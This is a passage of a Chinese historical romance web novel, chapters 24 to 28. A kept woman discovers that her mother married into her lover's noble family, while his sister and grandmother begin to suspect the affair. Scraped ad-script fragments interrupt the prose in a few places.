“哦……”姜明月想说自己没有醉,可是她脑中晕晕的,愣是什么也没说出来。 见她发愣,周诩叹了口气,夹起一块点心想放到她的盘子里。 “公子要喂我吃吗?” 姜明月见他伸手,歪了歪头,笑了起来。 “多谢公子。” 周诩欲向下落的手一顿,改成停在空中,喂她吃。 看来以后最多只能让她喝一杯酒。 等吃完,周诩扶起她,二人下楼结账,出了茶铺。 此时天色已经完全暗了下来。街道两边店铺的灯笼高高挂起,依旧将街上照得通亮。 刚走出茶铺,姜明月抬眼,却蓦地一惊。 茶铺对面走出来一行人,而走在前面的几人中,赫然有一副眼熟的面孔。 正是那天,她在后院帮过的那人。 这件事她一直藏在心里,从未对周诩提起过,尤其是像她向那人打听自己母亲的事,不知为何,姜明月并不希望周诩知道。 正是因为她之前对周诩隐瞒了此事,如今再见到贺怀钰,姜明月不由得心跳加速,害怕贺怀钰认出自己,暴露了这件事。 然而她正醉着酒,迷迷糊糊,眼看贺怀钰一行人朝他们的方 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 向走过来了,姜明月思考不了其他,侧身勾住周诩。 周诩正专心护着她,不让她被人群推搡,可是下一秒,他没有防备,被推到了墙上。 他一愣,微微上挑的桃花眼睁大,没了平时的从容。 姜明月踮起脚,勾住他的脖子,让他低下头。 呼吸间满是桃花的气息,夹杂着淡淡的酒香。 这桃花酒确实好喝。 他们在暗处,路过的行人并不怎么注意到他们。就算注意到了,本朝民风开放,又是过节,他们也只是笑笑。 周诩虽然惊讶,却也只当姜明月是喝醉了。他揽住她的腰,微微用力上举,不让她太幸苦。 三皇子与贺怀钰几人从店里走了出来。三皇子正与他的伴读说着话,谈的是山寺的住持净空大师。贺怀钰落后一步,华安郡主靠在他身上,撒着娇喊累。 “行了,一会就回去了。” 贺怀钰安慰妹妹,可惜华安郡主并不领情。 “三表哥不是说要在寺里住几日?真不知道有什么好住的,我也不想吃斋食……” “噤声。既然母亲特意叮嘱过,先听她的就是。” 华安撇了撇嘴。她不是不知道母亲为什么要这么安排,可是他们父亲虽然只是个虚爵,但是兄长不还是被封了将军进了军营吗?何必又要费心去赌三表哥的前程? 她对三表哥实在没什么兴趣,要她说,还不如身后的周蓉莺对他的兴趣大。 华安郡主与周蓉莺没有太深的友谊。按理说,周蓉莺身为庶女,是没有资格与他们在一起的,可惜谁让她有有出息的父兄,武昌侯府又没有嫡女,想与武昌侯府交好也只能通过她。 这次出门,华安郡主便请了几位贵女一起。周蓉莺自然不愿放过这个机会,没想太多便答应了她。 贺怀钰让妹妹站好,这才抬起头。 他目光不经意扫过街上的人,忽然一愣。 他是武将,习武之人,视力比常人要强。贺怀钰一眼便看到了灯火阑珊处,有一对恋人正相拥在一起。 男子袍袖宽大,几乎将怀中之人罩住。 似乎是感受到了他的注视,年轻男子蓦地抬眸,零星的灯火落在他幽深的桃花眼中,仿佛寒星点点。 饶是贺怀钰,也被这一眼震住,连忙垂下眼,不敢再看。 只是,他怎么觉得这双眼睛有些熟悉……贺怀钰刚想回忆,脑海中却又不由得浮现出刚才见到的场景。他心一跳,只觉得那一幕实在有些脸红心跳,不便再想。 他轻咳一声,转头只与华安郡主说话。 周诩认出了贺怀钰。他知道荣国长公主素来是个有野心的,对于子女与三皇子交好也是乐见其成。 周蓉莺躲在侍女身后,却忍不住浑身有些颤抖。 周诩没戴面具,这次她几乎可以确定,这就是她的兄长周诩。 然而这个认知让她无法接受。堂堂武昌侯世子,谦谦君子的兄长,居然在街上,与女子搂搂抱抱,做出这种事! 25. 不巧 然而她还抱着一丝侥幸。万一只是她认错了呢?大哥那么忙,应该不会有空出来看花灯。 “姑娘?” 周蓉莺的丫鬟见她脸色不好,站在原地迟迟不动,忍不住担心地开口询问。 “嗯?哦……没事。” 周蓉莺听到她的声音,终于回过神。她勉强扯出笑容,对丫鬟摇摇头,不敢再去看那边的人,只低着头匆匆向前走。 人影憧憧,尽管已入夜,可是街上依旧热闹非凡。杂耍班子赢得众人喝彩,小贩吆喝的声音,与同伴争论的书生,儿童你追我赶的玩闹,借着机会低喃的有情人…… 姜明月什么都听不到,她的耳边只有自己的心跳声。 睫毛轻颤,她微微睁开眼,朦胧中瞧见周诩纤长浓密的睫毛,遮住他清亮的眸子。 许久,二人才分开。 姜明月盯着他衣襟处的暗纹,愣愣地缓不过神来。 “回去吧。” 周诩的声音像是从远方传来,清冽平静。热闹的行人掩盖住了他声音中的丝丝沙哑。 姜明月已经有些迷迷糊糊发困了。她点点头,乖巧地牵着周诩的衣袖,让他带着自己走。 周诩伸出的手一顿。他似乎有些意外,转头朝她看去。 姜明月见他温柔的眸子看来,眨了眨眼睛。 她看起来还是晕乎乎的,可是声音却透着冷静,“若是有认识公子的人就不好了……” 贺怀钰的出现让她忽然意识到这个问题。连她都能碰到一个相熟之人,更何况周诩。 心跳逐渐恢复平静。姜明月对周诩仰起脸,露出软绵绵又看着有些呆的笑容。 周诩领着面具的手指微微收紧。 他静静地看着她,沉默了一会没说话,接着才点了点头,没有再坚持。 “也是。那便如此。” 等二人回到山寺的院子中时,已经快要到亥时了。 院中廊下点着灯,发出朦胧的暖光。他们这次出行本也没带多少人,只有几个心腹跟着,因此院中一片静谧,让人也不由得平静下来。 听到动静,江嬷嬷走了出来,看到眼前的姜娘子与世子,也不由得傻了眼。姜娘子窝在世子怀里,脸也埋进世子的颈窝,而世子几乎是像抱孩子一样,托着她的腰和臀。 见江嬷嬷愣愣地看着自己,周诩轻声与她解释:“她喝醉了,长阶太陡,不方便。” 江嬷嬷了然。她上前唤道:“娘子?娘子醒醒,咱们回房休息。” 听到她的声音,姜明月抬起头,揉了揉眼睛,“哦……好。多谢公子……” 周诩扶着她站稳。一旁的江嬷嬷留心看着,见周诩动作轻柔,不由得笑了起来,眼中还带着欣慰和些许挪揄之色。 “世子将来,定会是个好父亲。” 没想到周诩听完,那张向来从容自若清隽的脸上,神色一下子僵住。 他仿佛想起了什么,抬起眼,神情复杂地看向江嬷嬷。 “我……很像她的父亲吗?” 啊?江嬷嬷不明白他这句提问从何而来,表情也有些怪异。 她摇摇头,“老奴自然不是这个意思。只是觉得,如今的世子,会成为一个好父亲罢了。” 特别是在姜娘子来之后。 江嬷嬷说着,不禁有些感慨。 世子并不是一直都是这副模样性子的。只是叫他从早年那般变成现在这样,世子付出不少,也不知是好是坏。 周诩听出了她的言下之意,也有些默然。 “是吗?”周诩笑了一声,玩笑般开口道,“不过,总会比我父亲强些。” 见他提起武昌侯,江嬷嬷自然不好接话。在她看来,武昌侯身为父亲,他们需要的锦衣玉食他都给了,只是他眼中从来没有子女。 好在周诩没有继续讲这个话题的意思。他将姜明月送进房间,看着她歇下,这才转身走出房来。 不知何时,从枫站在了廊下。 见周诩出来,从枫快步上前。 他低声道:“世子,三皇子与贺怀钰兄妹,还有叶家几位公子等也来了。” 周诩点点头。三皇子和贺怀钰他刚才都已经见过了。 “还有……二姑娘也在。” 从枫口中的二姑娘,自然是武昌侯府的二姑娘周蓉莺。 二姑娘和三皇子一起出来……从枫低着头,稍稍抬眼去看周诩的脸色。 “蓉莺?”周诩听到这,神色微凝。 “行,我知道了。” 第二日姜明月醒来,倒是没有之前那般头疼。不过她还是第一时间抓着江嬷嬷,问她自己昨晚喝醉酒后,有没有做什么傻事。 “没有。娘子放心,你昨晚只是困得睡着了。” 江嬷嬷笑着替她打来热水,红袖服侍她洗漱完毕后,才陪她去用早膳。 早膳自然也是斋食,不过姜明月小时候也随母亲去庙里上过香,对清淡的斋食习以为常。 等用完膳,她想去寺里走走时,院门被敲响,昨日见到的小和尚走了进来。 “二位施主,”他面带微笑,双手合十,“师父叫我来问,不知今日可有空一见?” 净空大师德高望重,寻常人见他一面都难。他的邀约自然不好拒绝,何况他们本来也并无要紧事,稍作休整,便随着小和尚前往净空大师的禅房。 姜明月落后周诩一步,忍不住抬眼朝他看去。见他神态自若,面上隐隐带着几分笑意,显然与这位净空大师熟稔。她不由得好奇,这位净空大师是个什么样的人。 进了禅房,就见中间的位置上,一位胡子花白的老者正盘腿端坐。 “师父,二位施主到了。” 净空大师垂着眼皮,捻着佛珠。听到动静,他睁开眼,和蔼地看了过来。 “世子来了。” 姜明月跟着周诩微微欠身行礼,感觉净空大师慈祥的目光落到了自己身上。 “这位便是姜娘子吧。” 姜明月点头。净空大师看出她面上带着些许意外之色,笑道:“世子和贫僧说起过施主。” 一旁的周诩表情不变,微微颔首,姜明月自然以为是因为周诩提前与住持打过招呼,带自己来小住。 在净空大师略带打趣的目光中,她的笑容也忍不住露出羞涩。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >净空大师见她目光清澈,心中暗暗点了点头。 “初次见面,贫僧自觉与施主有缘。这串佛珠,便赠与施主吧。” 他从手腕上退下一串佛珠。姜明月却不敢接,有些惶恐地望向周诩。 “既然师父说与你有缘,那你便收下吧。” 周诩微微一笑,对她点点头。 连周诩都这么说了,姜明月也不好再推脱,郑重地接过佛珠。 净空大师又问了二人在寺中住着一切可好。等问完,姜明月见他与周诩明显还有话要说,便主动起身告辞。 见她从房中出来,红袖连忙迎了上来。 “娘子出来了。世子呢?” “我见公子与住持还有话要说,便先出来自己转转。” 红袖点点头。 “这里离前殿极近,不如娘子去前殿看看?” “真的吗?”姜明月眼睛一亮。 山寺虽然在京郊,却称得上是京城一带最大的寺庙。昨日只是远远望去,便能窥见前殿供奉的金佛。 “而且,听说这里求签也十分灵呢。” 红袖说到这,也忍不住露出几分向往。 姜明月向洒扫的小和尚问了路,之后便与红袖顺着回廊,朝前殿走去。 因时辰尚早,寺中除了洒扫的声音,便只能听到隐隐约约的经文声。 贺怀钰这次来,除了与三皇子结交以外,荣国长公主还给了他几张银票,让他来添香油。本朝崇尚佛法,当今圣上更是虔诚,皇亲国戚们自然也有定期来上香添香油的习惯。 华安嫌累,贺怀钰便没有带她,独自来到前殿礼佛。 待他上完香,准备离开时,殿门外略过一道倩影。贺怀钰见到那淡蓝色的裙角,下意识往旁边避了避。 等这年轻女子与自己擦肩而过时,他余光随意扫过,却忽然愣住,猛地回头。 贺怀钰不敢置信,却又觉得有些惊喜。他忍不住回身,快步上前,低声喊住前面的人。 “姑娘!姑娘好久不见!” 姜明月闻声回头,在看清喊自己的是谁后,她像是被定在了原地。 “娘子怎么了?” 红袖不认得贺怀钰。她见这陌生男子朝她们走来,看着像是认识自家娘子,而娘子的反应又十分奇怪,有些担心。 她这一声让姜明月回了神。她深吸一口气,动了动唇角,重新扯出一个安抚的笑容。 “无事,我等下再与你解释。” 贺怀钰来到姜明月面前,“姑娘,好久不见。” “……没想到会在这里碰上将军。” “我也是刚好替母亲来上香。”贺怀钰笑笑,“那日之事,还未谢过姑娘。” “举手之劳,都是我应该做的。”姜明月摇摇头,“将军若是无事,我——” 她想要先行一步,然而贺怀钰却拦住了她,表情也认真了起来。 “姑娘上次问我的事,不知姑娘是否还记得?” 姜明月动作一滞,抬头重新看向贺怀钰。 “我已经打听到张家那位出嫁的大姑娘的事了,只是不知,姑娘与她是什么关系?” 26. 事端 等姜明月离开后,净空大师转头看向周诩。 “姜娘子便是世子说的,能治你离魂之症的人吧。” 周诩垂着眼,听到净空大师的话,点了点头。 “命定缘份之事向来玄妙……世子乃是幸运之人。” “或许吧。”周诩扯了扯嘴角。他不信什么缘分一说,只是姜明月与他来说,确实没有其他解释。 “那世子是何打算?一辈子将那位姑娘藏着?” “并不是,我……” 周诩下意识否定。但是说完,他却又说不出自己到底是怎么打算的。 他知道,最直接的,便是把她带回去做妾,给她个名分。 然而他张了张嘴,怎么也说不出这句话。 周诩皱了皱眉,让自己忽略心中那点奇怪的悸动。 是了,若是他真这么做,他要如何与武昌侯府交代,户部尚书那边又该怎么应付…… “既如此,世子如今又是在做什么?” 净空大师的目光仿佛洞悉了一切。他微笑着,静静地看着周诩,像是在看自家的晚辈。 周诩却无端觉得一阵烦躁。 他唇边噙着温润的浅笑,站起身,袍袖随着他的动作垂下,看着依旧芝兰玉树,只是眼底却露出隐隐的疯狂。 “便是一辈子藏着又如何?” 只要他想,那么她不离开他身边不就好了? 笑了笑,周诩朝净空大师微微躬身,“这几日叨扰师父了。我先告辞了。” 净空大师望着他的背影,叹了口气。 转过身,周诩脸色微沉。 他推开门,与门外听到声音转过头来的三皇子对上眼。 “是你?” 三皇子见到从房中走出来的人是周诩,有些意外。他皱起眉头,不知想到了什么,脸色又阴沉了几分。 难道周诩这一趟是替成王来拉拢净空大师的? “见过殿下。” 周诩像是感受不到他的不善,按着规矩朝他见礼。他面上带着笑容,一双桃花眼中却只有淡淡的冷漠,站在台阶上,尽管是行礼,仍旧不比站在台阶下的三皇子低上几分。 平日里见惯了周诩的和善,三皇子见他如此,一时愣了愣。 这是有底气的世家才有的矜贵。 想起自己的母家,又想起太子的母家,三皇子深吸一口气,重新对周诩露出笑容。 “我竟不知,周世子也来见净空大师。” “不过是来感谢住持的招待罢了。” 对上他滴水不漏的笑容,三皇子上前几步,压低声音,“令妹这次也来了。周世子要不要去打个招呼?” 他这话说得极其暧昧,若是被有心人听到,怕是要对周蓉莺的清誉有碍了。 三皇子往周诩的脸上看去,却没见到他脸色有变。 周诩轻笑一声,“舍妹难得与华安郡主一同出游,我何必去打扰?殿下若是找净空大师,不如早些进去,莫让师父久等。” 等三皇子拂袖而去后,周诩也敛了嘴角的笑意。 随安察言观色了一会,走上前,轻声道:“娘子去了前殿。世子要不要去找娘子?” 周诩颔首,“走吧。” 前殿外,贺怀钰站在姜明月面前,等着她的回答。 姜明月张了张口,却不知如何与他解释。 眨了眨眼睛,她犹豫着道:“她是我……远方的姨母。从前对我很好,可惜后来断了联系。” 贺怀钰有些意外,不过还是点点头。见她话语间似乎有难言之隐,他也不再追问。 “如今的尚书右丞已经不姓张了。当年姓张的尚书右丞只有一位,也就是现在的礼部尚书。” “那位出嫁的大姑娘,正是如今的武昌侯夫人。” 贺怀钰再说什么,姜明月都听不到了。 她愣愣地站在原地,不知该做什么反应。 怎么会是这样呢? 她的母亲,怎么会成了武昌侯夫人呢? 姜明月像是失了力气,一把抓住红袖的手臂,才不至于站不稳。 贺怀钰见她反应奇怪,正想开口之际,身后传来匆匆的脚步声。 “公子,三殿下请您即刻去净空大师的禅房。” 贺怀钰皱了皱眉,“行,我知道了。” 小厮面带急色,站在一旁在等他。贺怀钰没有办法,只好有些歉意地看向她,“抱歉,我先告辞了。” 姜明月看着他转身随小厮离去,张了张嘴,却连道谢的话也说不出。 她太过震惊,怎么也没想到,武昌侯夫人,公子的继母,会是自己的母亲。 红袖也听到了贺怀钰的话。她是知道姜明月的外祖便是尚书右丞的,闻言也十分惊讶。 她有些担忧地看着姜明月,刚想扶她去休息一下时,突然睁大双眼。 “娘子,世子来了……” 听到她小声的惊呼,姜明月猛地抬头,顺着红袖的目光扭头,就见周诩正站在不远处,微风吹得他的衣袖飞扬,不知道看了多久。 她心中一惊,浑身发僵。她不知道周诩什么时候来的,也不知道他有没有听到刚才的对话,如果听到了,他又听到了多少。 更重要的是,姜明月此刻不知道,应该怎么面对他。 公子知道这件事吗? 他与继夫人的关系不和,而自己如此尴尬的身份,却成了他的外室。 不对,想来,他是不知道这件事的。 自己身在江南,与母亲多年前便断了联系。她遇见公子,应该只是巧合而已。 毕竟若是周诩知道这件事,又怎么会允许自己与他维持这种关系呢? 似乎说服了自己,她的心稍稍落了下来。压下心中的不安,姜明月抿着唇,露出笑容,朝周诩走去。 “公子……” 周诩没动,静静地看着她走过来。姜明月拉住他的衣袖,刚想说话,就听他蓦地问道:“你认得刚才那人?” 认得吗? 姜明月下意识摇摇头。虽然有过几面之缘,可她连那人姓什么叫什么都不知道,着实谈不上认识。 “看他的样子,倒是与你熟稔。” 周诩并没有介绍贺怀钰的意思。只是他的声音中透着一丝不易察觉的尖锐。若是姜明月抬头,便能看见那双潋滟的桃花眼中此刻满是复杂。 然而姜明月此刻却顾不了许多。她心中下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 意识地一松。 看样子,他并没有听到他们的谈话。 当初没有开口,已经错过最佳时机,此时再提起帮过那人,倒像是刻意隐瞒。她不想再纠结这事,然而更重要的是,她也并不想让周诩知道,自己在打听母亲的事。 或许是因为,姜明月心中隐隐清楚,若是让他知道了,以他的敏锐,很快便会察觉,自己的真实想法是什么。 她之所以对上他会心虚,大概就是因为,当时她是想过,知道自己母亲在哪里,等她离开周诩的那一天,也许还有一线生机。 可现在她知道了自己母亲在武昌侯府,她竟不知道是好是坏。 “不是什么大事,不过是掉了件首饰,刚才那人非说要帮我找罢了。” 姜明月撒娇似的说着,拉着周诩的袖子,小心翼翼地去勾他的手指。 “是吗?” “嗯!不然还能有何事?”姜明月笃定地说着,后面还像是有些疑惑,反问周诩。 她说得确实像贺怀钰会做出的事。然而周诩的眸子却依旧一片晦涩。 “我没有其他意思。”周诩勾起唇角,垂下眼,掩去目中的神色,“我自然是相信你的。” 他的手微微收紧,姜明月的手指便被握住,动弹不得。 “这种事,难道你会骗我不成?” 他的笑容越发温和,低头朝她看来,然而姜明月却觉得他意味深长,背后起了阵阵寒意。 可这样也看不出他的想法。姜明月只得装作听不出其他,牵着他的手,摇了摇头。 “自然不会。公子,我都逛完了,咱们回去吧。” 周诩没有异议,与她一同往回走。在她看不到的地方,周诩脸上却露出了凝重。 姜明月情急之下或许没有意识到,贺怀钰同她说话的模样熟稔,绝对不像刚刚见面,只有一面之缘的人会有的态度。 姜明月并没有对他说实话。 周诩没有告诉她的是,其实,他什么都听到了。 看来,她已经知道了。 他倒是有些好奇,知道自己的外祖家后,她下一步会做什么。 周诩脑中忽然忆起昨晚发生的事。当时他只以为她是醉了,如今想来,却也无法确定了。 当时,她其实是看到了贺怀钰吧。 她不让他帮忙,反而去找其他人打听自己的外祖家。 桃花眼中似有化不开的暗色,周诩的脸色愈发沉郁。 她为什么要这么做?若是因为不想让自己知道,那她在怕什么? 还是说,她只是想要给自己另留后路。 她不信他。 也是,她从一开始,也不过是想要为自己谋条出路,不愿在花楼香消玉损罢了。 他既然已经给了她出路,那她只要留在自己身边,也就足够了吧。 至于其他,还需要他考虑吗? 耳边似乎又响起了净空大师的话,周诩轻哂,心中渐渐冷了下去,脸上的神色也恢复了平静。 原本只当是一句玩笑,只是如今看来,也未尝不可。 等他们回到院子后不久,从枫一脸严肃,从外面走了进来。 “世子,二姑娘来了。” 27. 确定 闻言,姜明月一愣。她不知道这位二姑娘是谁,只是单看从枫的神色,便知自己的存在是不能被这位二姑娘知晓的。 院门外似乎已经传来了脚步和女子说话的声音。姜明月心中一跳,不知该怎么做,下意识扯住周诩,朝他看去。 “公子,我……” 周诩垂目看向她。虽然他面色如常,看不出一丝慌乱,可眼中也没什么笑意。 “你先去避一避。” 尽管得到的是意料之中的回答,姜明月的心却还是忍不住一涩。好在她还是清醒的,知道自己的处境。没有犹豫,她点点头,快步回到自己的房中,将门关上,如果来人不进来,便不知道她的存在。 周蓉莺带着侍女走进院中,便见自己的兄长正坐在树下。他执着书卷,金色的阳光穿过郁郁葱葱的枝叶,洒落在他如玉的面容上。随安端来热茶,氤氲朦胧的雾气升起,更显得他如谪仙一般,无法靠近。 周蓉莺看着眼前这一幕,无端松了口气。 这才是她的兄长。 她的兄长就该是这样,清冷自持,不与人亲近。 “大哥。”她脸上露出笑容,上前唤了一声。 周诩颔首,算是应下。 “坐吧。” 周蓉莺见他看到自己,并没有露出意外或是回避,一下子倒是无法确定那日见到的人是不是他。 “没想到会在这里见到大哥。大哥也是来看庙会的吗?说来也巧,我昨日竟见到一人与大哥极像,只是他身边还有一女子……倒是与大哥不同。” 她试探着,一边说一边去看周诩的脸色。 “是吗?真巧。” 令她失望地是,周诩只是笑了笑,语气中也带着几分惊讶。 “是,是啊……可惜那人虽然与大哥长相相似,可一看就不是你。毕竟大哥你马上要定亲了,怎么会和其他女子亲近呢?” 周蓉莺说着,忽地起身,朝厢房走去。 “大哥这一处倒是格外幽静,不用担心被人打扰。”说话间,她佯装好奇屋中的布置,目光飞快从厢房中扫过。 房中并没有什么异样的地方。她转头,朝旁边紧闭的厢房看去。 “不知这房中,住的是谁?” 周诩始终从容不迫地坐着,见她不死心地起身,也不阻拦。 “并未住人。” 再推开门去看那房中是否真的没人就显得有些过了。周蓉莺纵使还有些不信,却也没有办法,只能面上继续笑着,走了回来。 “原来如此。我——” 周诩从书卷上抬眼,脸上的笑意不再,语气淡淡。 “与华安交好我不阻拦你。只是我想你也清楚,三皇子与武昌侯府是什么关系。” 周诩能纵容她的好奇心,却不能放任她接近三皇子。 周蓉莺内心隐秘的想法似乎被看穿,她不由得慌乱起来。 “大哥,我没有……”她还想解释,只是话到嘴边,却在兄长的注视中,怎么也说不出来。 “等下让从枫送你回去。” “是。那大哥不回府吗?” “我还有事。” 周诩没再看她。周蓉莺无法,只得带着侍女,随从枫走了出去。 既然是周诩开口,周蓉莺只得找了个借口,与华安郡主告罪,先行离开。华安郡主本来就不太在意她,因此并不挽留。周蓉莺只好带着遗憾,上了马车。 “姑娘,是不是咱们看错了啊?” 丫鬟见她沉着脸,忍不住开口宽慰。毕竟夜晚昏暗,看错也是有可能的。 “不可能。” 周蓉莺眯起眼,语气笃定。 就算昨晚是她看错了,她这位松风水月的大哥身边,也一定有女子了。 虽然极淡,但她刚才,分明闻到了只有女子才用的熏香。甜腻得,让她心凉。 那天的事仿佛只是一段小插曲。接下来几天,姜明月与周诩依旧如往日那般相处,只是究竟是怎么想的,便只有二人自己知道。 山寺庙会持续了几天,每一日周诩都会带姜明月去逛。几日下来,姜明月从一开始的兴奋,到后来居然有些习以为常了。 直到庙会的最后一天,姜明月趴在榻上,竟有些不想动了。 “往日从没见过这种阵仗的庙会。只是这几日每日去看,娘子该是看够了吧?” 江嬷嬷笑着看着她这副懒洋洋的模样,忍不住开口道。 “看够了吗?” 江嬷嬷回头,见是世子走了进来,便笑着朝他行了个礼,带着红袖退了下去。 见到他,姜明月连忙支起身子,长发散下,摇了摇头。然而她犹豫了一下,还是说了实话。 “若是庙会的话,确实看够了。只是每日能与公子在一起,我……我很欢喜。” 她说的是心里话。姜明月不由得双颊泛起红晕,只是双眼却亮晶晶的。 “那就好。” 闻言,周诩笑容温和。那双桃花眼泛起涟漪,水光之下,有姜明月看不到的暗色。 看够了就好。 “今日是最后一日,晚些时会有烟花。我本想带你去看的。你若是不想——” “我想看的。” 姜明月连忙缠住周诩,像是怕他反悔,讨好似的问他,“公子,我们去哪里看呢?” “藏经楼。” 藏经楼不仅本身就有几层之高,更是建在了山寺的高处。若是寻常的寺庙,藏经楼是不得随意进入的。而此处因为香火旺盛,便是藏经楼便有两处。住持不欲藏私,便开放了其中一处。 只是尽管如此,也只有少数人有资格随意进出。因此相比其他地方,藏经楼格外的清幽。 书架上摆着一排排的佛经,正中央挂着的是一副佛像,法相庄严。姜明月随着周诩走上二楼,从雕花窗笠向外看去,便能俯瞰整座寺庙以及山下的灯火。 微凉的夜风从窗外吹来,姜明月怔怔地望着眼前的景色,心头涌起难以言喻的感觉。 周诩静静地站在她身旁。这样的景色他并不陌生。他转头,目光落在姜明月身上。 绚烂的烟花在空中绽放时,周诩清楚地看到了她眼中的恍惚与向往。 广阔无垠的天地间,火树银花,万家灯火。 他漠然地收回目光,避开她眼中的光。 忽然,楼梯处传来声音。 “哥哥,你走的太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 慢了。我自己去看。” “华安,你要去几层?” “我当然要去最高的地方看了。” 是华安郡主与贺怀钰。 姜明月一惊,没想到这么多天相安无事,偏偏在最后一天又碰到了他们。 她忍不住拉着周诩,躲到了一排书架后。 周诩任由她拉着,却在心中轻嗤。 狭小的空间中,周诩几乎是在她耳边低声道:“怕被看见?” 姜明月胡乱点了点头,“万一公子被看到了……” 原来还是为他着想。 周诩扯了扯嘴角,没说话。 本以为贺怀钰会与华安一同上楼,然而他却停下了脚步。 “咦?你是那日跟在你家姑娘旁边的?” 他看到了守在二人不远处的红袖。 红袖显然也没想到贺怀钰会认出自己。她先是一愣,接着姜明月听到她犹犹豫豫地应了一声。 贺怀钰顿了顿,又接着问道:“那……你家姑娘,也来了吗?” 这一次,许是见姜明月不在,他话语间对姜明月的好感,便是红袖也听出来了。 然而红袖却不知道怎么回答他。她倒是想不管不顾,直截了当地告诉贺怀钰,自家娘子与他没有可能。 可惜,她只能含糊地应了一声,让人听不出姜明月到底是来了还是没来。 姜明月浑身僵硬。 她低着头,不敢去看周诩的表情。 明明她与贺怀钰之间并没有过什么逾矩的事,可她还是忍不住生出一阵心虚。 “看来,是一见钟情。” 偏偏身前之人并不肯放过她。他慢悠悠地说着,声音中似乎带着淡淡的讽刺。 “你说,若是让他知道了我们在做什么,会怎么样?” 什么? 姜明月不明所以。因不知道他想做什么,她忍不住紧张地抬起头。 下一瞬,周诩便顺势捏住她的下巴,亲了上来。 她被抵在书架上,身后是一册册的佛经,而她一抬眼,便能望见墙上挂着的箴言警语,时时刻刻提醒着她此时身在何处。 与那晚不同,她此刻清醒无比。身上的快感让她止不住地轻颤,耳边还能听到贺怀钰与红袖的声音。她只觉得茫然无措,莫大的羞意让她忍不住蜷缩身子。 周诩掐住她的腰,不让她乱动。 喘息间,她听到周诩轻笑了一声,一字一句地念着:“佛门重地……” 姜明月抬眸,泛红的眼睛瞪着他。 周诩见她这幅模样,虽然娇滴滴的没有多少威力,可他也知道,她心中是有些气了。 他掐着她的腰将她微微抬高,让她与自己对视。 姜明月双脚够不着地,只得紧紧勾住他的脖颈。 “莫要担心。若是佛祖要罚,也只会罚我一人。” 只要你别怪我就好。 周诩垂下眼,掩去眼底的思绪。 他知道,今天之后,自己必须要回武昌侯府了。这么多日不在,只怕府中的人起疑心。 尤其是周蓉莺回去了…… 周诩无法确定,他这个庶妹到底有没有打消疑心。 28. 前夕 原本热闹的岁安堂内,此刻气氛凝重,丫鬟婆子们都噤了声,生怕惹老夫人不快。 周蓉莺想着兄长的事,一回了武昌侯府,第一时间便匆匆来到了岁安堂。 此时,坐在主位的老夫人由心腹嬷嬷扶起坐直,往日和蔼的笑容也不见了。 她双眼透出凌厉的光,盯着下面这个平日里并不起眼的孙女。 “你说的可是真的?你确实看见,诩哥儿与一女子举止亲密?” “祖母,孙女不敢说谎。” 周蓉莺被老夫人的目光注视着,额角沁出薄汗,然而她的语气却十分坚定。 她这么做也是为大哥好。她相信大哥也只是一时冲动,才做出了这种事。他定亲在即,绝对不能传出不好的传闻。 一想到她如此敬重的兄长做出了那样的事,周蓉莺只觉得无法接受。她紧紧握着拳,任由指甲陷进手心。 她与老夫人说了,那武昌侯府也能早有准备。 而且……要是真出了什么事,想来老夫人与父亲也会念她的情吧。 老夫人微微眯起双眼,手指摩挲着靠枕的刺绣。 她的卧房中还收着户部尚书府那姑娘送来的抹额。若这事换了其他人,想来也不过是露水情缘或是想要收个妾室,老夫人都不会在意。可是这是自己引以为荣的长孙,她不得不重视。 毕竟他从未有过如此举动。她就怕周诩,对那女子是上了心的。 然而这门亲事是万万不能被破坏的。 就算他有什么心思,此时也都得给她收着。 接着,她又想到前段时间长孙才去了一趟江南。这人莫不是还是从江南带回来的……想到这,她心中忍不住一跳。 如果真的如此,那这女子会是什么身份…… “我知道了。” 稳了稳心神,老夫人重新靠回靠枕上,“世上相像之人并非没有。想来那日人多,天色又暗,看错也是有的。” 周蓉莺不敢相信地抬起头,“可是——” “行了。你有这份心是好的。回去吧。” 周蓉莺见老夫人已经闭上了眼,显然是不想再谈这件事,只得咬咬牙站起身,出了岁安堂。 等周蓉莺走后,老夫人的脸沉了下来。 “母亲放心,世子人品贵重,想来只是二姑娘看错了。”一旁的侯夫人张氏观察着她的脸色,开口道。 老夫人没接她的话,只垂着眼,沉思了许久。 “不行,我不放心。此事定要彻查。” 她刚才这么说,只是不允许有人如此言之凿凿地指责武昌侯府的世子行事不端。然而看周蓉莺的神色,倒确实不像作假。 夜晚,等武昌侯回了府,自然也知道了这件事。 他接过张氏的茶,却没急着喝。 “听母亲说,这件事由你来查?” “是。”张氏在他身边坐下,“若是真有什么事,我也好先与侯爷商量。母亲上了年纪,本就不该操心这些事……” 至于到时候,她想怎么与武昌侯说,那就是她的事了。 她笑容温婉,武昌侯点点头,拉住她的手,“那便幸苦你了。” 身为他武昌侯府的世子,绝不可在这些内宅之事上犯错误。 “若是真有这样一个人……”武昌侯将茶杯放下,“你看着办就好,不用先与我说。” 他表情平静,仿佛是在说一件再寻常不过的事,然而张氏听懂了他的意思,低下头,替他重新添上茶,却没有接话。 她心中为那女子感到一阵悲凉。 武昌侯的意思是,直接将周诩身边那女子处死。 可要她说,这也不尽然是那女子的错。 她心中叹了口气。 那女子若是要怪,便怪自己招惹了不该招惹之人吧。 武昌侯府中的暗潮涌动,只有极少数的人知道。 姜明月更是对这些天武昌侯府发生的事一无所知。 烟火照亮了天际,所有人都全神贯注地望着绚烂的夜空,无人注意到从藏经楼中走出来的人。 红袖看了看神色如常的世子,又看了看低着头的姜明月,只觉得两人之间的气氛有些奇怪。 不过想到刚才发生的事,红袖默默收回了目光。虽然贺怀钰最后没有再说什么,被华安郡主叫走了,但是她还是不由得在心中祈祷世子不要误会娘子。 好在到最后,周诩都没有说什么。 红袖松了口气。 待她服侍姜明月歇下后,刚推开房门,就见一个小和尚站在外面,手里捧着一架小香炉。 “施主。”他朝红袖施了一礼,“这是东厢房的施主让我送来的香。” 既然是世子安排的,红袖不疑有他,谢过小和尚,端着香炉重新回了房中。将它摆上后,她才重新关上房门。 